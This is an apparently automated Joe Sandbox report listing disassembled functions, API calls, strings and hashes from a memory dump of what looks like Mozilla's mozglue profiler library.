RtlNtStatusToDosError.NTDLL ref: 6CB2B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CAFFE3F,00000000,00000000,?,?,00000000,?,6CAFFE3F), ref: 6CB2B760

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 84e83cc1ec4a038072112d24283bd9ae38e08a161a4a7f8fc1ef91c5ef89a8b6
Instruction ID: 66c3bc0072146b52cc3c15834be734a5f325a46f9e22e4df60f4b172728a42f6
Opcode Fuzzy Hash: 84e83cc1ec4a038072112d24283bd9ae38e08a161a4a7f8fc1ef91c5ef89a8b6
Instruction Fuzzy Hash: 87F0C87094425CAEDF059AE1CC85BEF77BCDB0431DF106229E51A615C0DB7895CCC661

Function 6CAE4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CAE4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAE5585, 6CAE55A8, 6CAE55C3, 6CAE5624

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 5fa8e6cdd9a586f5c7dde29a45de0320c96b6cbba106b38a35e464f32e6059ae
Instruction ID: 846192738d2586a1dfb58d7c047e0722aea262fe0f731ad72e4cdf6d2bbe1a7d
Opcode Fuzzy Hash: 5fa8e6cdd9a586f5c7dde29a45de0320c96b6cbba106b38a35e464f32e6059ae
Instruction Fuzzy Hash: 1DB25C71A056018FD308CF59C590715BBE2BFC9328F2DC7ADE46A8B6A5D771E881DB80

Function 6CB285F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB28C7C
__aulldiv.LIBCMT ref: 6CB28DD7

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 1c27cab240772c5e3f66679b8075fdcf4976f7c2425af2df552ec8fb1942e194
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: E7327272F001598BDF18CE9CC4A1BBEB7B2FB88300F15853AD50ABB794D6399D458B91

Function 6CB2B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAD03D4,?), ref: 6CB2B955
NtQueryVirtualMemory.NTDLL ref: 6CB2B9A5

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 1863bbbce9478c209d32ff457ecf10355dbd67d9db28792dd9ccd0ccd7127e1f
Instruction ID: 56eeedab284c7304f09201d47ccf3ea6b03377fef81183b7191a690d295816d9
Opcode Fuzzy Hash: 1863bbbce9478c209d32ff457ecf10355dbd67d9db28792dd9ccd0ccd7127e1f
Instruction Fuzzy Hash: E741D671F012199FDF04CFA9D890AEEB7B6EF88314F148129E41AA7704DF34A8498B91

Function 6CB05C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CAD4A63,?,?), ref: 6CB05F06

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: d682d19e5924562a5dcbd7e2fcfc4157076843be138af8d8e0eae06b9075be2c
Instruction ID: bf75e2a79e21ae5a1f47c6b255a8b14b664636ffb5d72ef4a1c8c709989b4e80
Opcode Fuzzy Hash: d682d19e5924562a5dcbd7e2fcfc4157076843be138af8d8e0eae06b9075be2c
Instruction Fuzzy Hash: 32C1C175E012998BCF04CF55C5906EEBFB2FF89318F284259D8556BB44D731A809CB98

Function 6CACDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377a13bd37345b1315a67ec30207acfe9668d3906f8637c83919b8b13fa57694
Instruction ID: 7b74e44881b3ec136042f31bffddf33dac0d495424798d4d18541e42ee76650c
Opcode Fuzzy Hash: 377a13bd37345b1315a67ec30207acfe9668d3906f8637c83919b8b13fa57694
Instruction Fuzzy Hash: B9429072B187508BD314CE3CC49175AB3E2BFC9364F198B2DE999A7790D734D9818B82

Function 6CB376E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 369a7b7c1959ea5c72ab50017eeec4bbce6cbffac31b0074dfa75a374dbb2606
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 05321871E00269CFCB14CF98C990A9DF7B2FF88304F64916AC949A7745D771A986CF90

Function 6CB36E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 968967b3d1966d8fbe556cd6de9887f0ebe8532052c1abbca01a609893f65a65
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 5422E771E00269CFCB14CF98C980A9DF7B2FF88304F6591AAC949A7745D771A986CF90

Function 6CAF0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 7c06752fc88156bc75943dbdcfed7c2d98f1e38b9a8f999220323fc59fc9b3e6
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 0A222775E00619CFDB24CF98C890AADF7B2FF88304F588299D55AA7705D770A986CF90

Function 6CB3AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 321adf2e033b74e9f6fb14e83f0efdb8a92997a3052a84b1768eb28425d67eb0
Instruction ID: 9c55dfda62fd8bb4ad3fcfff52f866fc2b46dc2d3ec126af5ca33c4a5bc7e868
Opcode Fuzzy Hash: 321adf2e033b74e9f6fb14e83f0efdb8a92997a3052a84b1768eb28425d67eb0
Instruction Fuzzy Hash: 80F148716087A54FDF00CE68C8907AEB7E6EFC5318F259A1DE4D897780E37498498B83

Function 6CACC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: f9b6e0f3eff541c3351f5f26b6fdfe833cbe8685c6a01cb04034cd6a8a2743d1
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AFA1A071F0061A8BDB08CE69C8913AEB7F2EFC8358F188129D915E7781DB349C468BD1

Function 6CB07710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 300f0e36bc2abcb25fddb8445aa99a8d4ac759088e941eae6d1b1876888430ab
Instruction ID: 049001d49a5c107bb473eb6d9a355fb92c2bfc4fca19592e73acd700610670f6
Opcode Fuzzy Hash: 300f0e36bc2abcb25fddb8445aa99a8d4ac759088e941eae6d1b1876888430ab
Instruction Fuzzy Hash: 61715975E012598FCB08CFA9D8905ADBBB2FF89315F24812ED816BB780D771A945CB90

Function 6CB058E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 26178439503fad634de67c71eb0e9dd65838af640d904b01267b521f85fb7626
Instruction ID: c6acfb8481bdfb58008b4a34044f62cdce4961823fb61bc56964ff34522d9e02
Opcode Fuzzy Hash: 26178439503fad634de67c71eb0e9dd65838af640d904b01267b521f85fb7626
Instruction Fuzzy Hash: 14819075A011599FCB04CFA8D8809EEBBF2FF89314F544269D411ABB41D731A949CB94

Function 6CB0CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAD582D), ref: 6CB0CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAD582D), ref: 6CB0CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB3FE98,?,?,?,?,?,6CAD582D), ref: 6CB0CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAD582D), ref: 6CB0CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAD582D), ref: 6CB0CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAD582D), ref: 6CB0CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAD582D), ref: 6CB0CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB0CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB0CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB0CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB0CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB0CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB0CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB0CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB0CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB0CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB0CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB0CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB0CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB0CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB0CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB0CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB0CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB0CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB0CE8A

Strings

java, xrefs: 6CB0CC37
audiocallbacktracing, xrefs: 6CB0CDD4
mainthreadio, xrefs: 6CB0CC7C
Unrecognized feature "%s"., xrefs: 6CB0CEA0
unregisteredthreads, xrefs: 6CB0CE58
stackwalk, xrefs: 6CB0CCF8
leaf, xrefs: 6CB0CC66
seqstyle, xrefs: 6CB0CCE6
default, xrefs: 6CB0CC21
cpuallthreads, xrefs: 6CB0CE16
ipcmessages, xrefs: 6CB0CDBE
fileioall, xrefs: 6CB0CCA8
jsallocations, xrefs: 6CB0CD0E
screenshots, xrefs: 6CB0CCD4
notimerresolutionchange, xrefs: 6CB0CE00
noiostacks, xrefs: 6CB0CCBE
markersallthreads, xrefs: 6CB0CE42
samplingallthreads, xrefs: 6CB0CE2C
fileio, xrefs: 6CB0CC92
processcpu, xrefs: 6CB0CE6E
nativeallocations, xrefs: 6CB0CDA8
power, xrefs: 6CB0CE84
preferencereads, xrefs: 6CB0CD92
nostacksampling, xrefs: 6CB0CD7C

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 4e67a30546c48a7c05812b81b25c2668d38ed888a85c273e7ef56f720273f159
Instruction ID: 351e88c49b1c69ca7d957ca59a22ba5d5028cc172a90150cdd24220e3f07c8df
Opcode Fuzzy Hash: 4e67a30546c48a7c05812b81b25c2668d38ed888a85c273e7ef56f720273f159
Instruction Fuzzy Hash: B951D9C2B452F522FF0035552D10BAF2C04EF6325AF105236ED0DA6E80FF14A609D5B7

Function 6CAD47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAD4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD482D
__Init_thread_footer.LIBCMT ref: 6CAD484A

Part of subcall function 6CAFAB3F: EnterCriticalSection.KERNEL32(6CB4E370,?,?,6CAC3527,6CB4F6CC,?,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB49
Part of subcall function 6CAFAB3F: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC3527,6CB4F6CC,?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFAB7C

GetCurrentThreadId.KERNEL32 ref: 6CAD485F
GetCurrentThreadId.KERNEL32 ref: 6CAD487E
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CAD488B
free.MOZGLUE(?), ref: 6CAD493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAD4956
free.MOZGLUE(00000000), ref: 6CAD4960
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CAD499A

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

free.MOZGLUE(?), ref: 6CAD49C6
free.MOZGLUE(?), ref: 6CAD49E9

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAD4812
[I %d/%d] profiler_shutdown, xrefs: 6CAD4A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAD47FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6CAD4A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAD4828

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: c5caafe09693342aebd46c1c1eadfa4794ed6f6edad35aaaa369cc39528ccf34
Instruction ID: 0f7dedbb94b10cb37747a22d962e93c20e0789b862524a4a89c9e8982c74fd6e
Opcode Fuzzy Hash: c5caafe09693342aebd46c1c1eadfa4794ed6f6edad35aaaa369cc39528ccf34
Instruction Fuzzy Hash: DF814770A081008FEB10EF69D88475E3775BF4232CF1A4665E91697B49E731F8D8CB96

Function 6CAD4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAD44B2,6CB4E21C,6CB4F7F8), ref: 6CAD473E
Part of subcall function 6CAD4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAD474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAD44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAD44D2
InitOnceExecuteOnce.KERNEL32(6CB4F80C,6CACF240,?,?), ref: 6CAD451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAD455C
LoadLibraryW.KERNEL32(?), ref: 6CAD4592
InitializeCriticalSection.KERNEL32(6CB4F770), ref: 6CAD45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAD45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAD45BB
InitOnceExecuteOnce.KERNEL32(6CB4F818,6CACF240,?,?), ref: 6CAD4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAD4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAD4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAD466D
VerSetConditionMask.NTDLL ref: 6CAD469F
VerSetConditionMask.NTDLL ref: 6CAD46AB
VerSetConditionMask.NTDLL ref: 6CAD46B2
VerSetConditionMask.NTDLL ref: 6CAD46B9
VerSetConditionMask.NTDLL ref: 6CAD46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAD46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAD46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAD46FD

Strings

WRusr.dll, xrefs: 6CAD44B5
NativeNtBlockSet_Write, xrefs: 6CAD46F7
user32.dll, xrefs: 6CAD4557, 6CAD463F
l, xrefs: 6CAD4578
kernel32.dll, xrefs: 6CAD44CD

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: ef22db4590f22cb94a95d742569baee1e7659e3a877c602ebac6b78909d2a7db
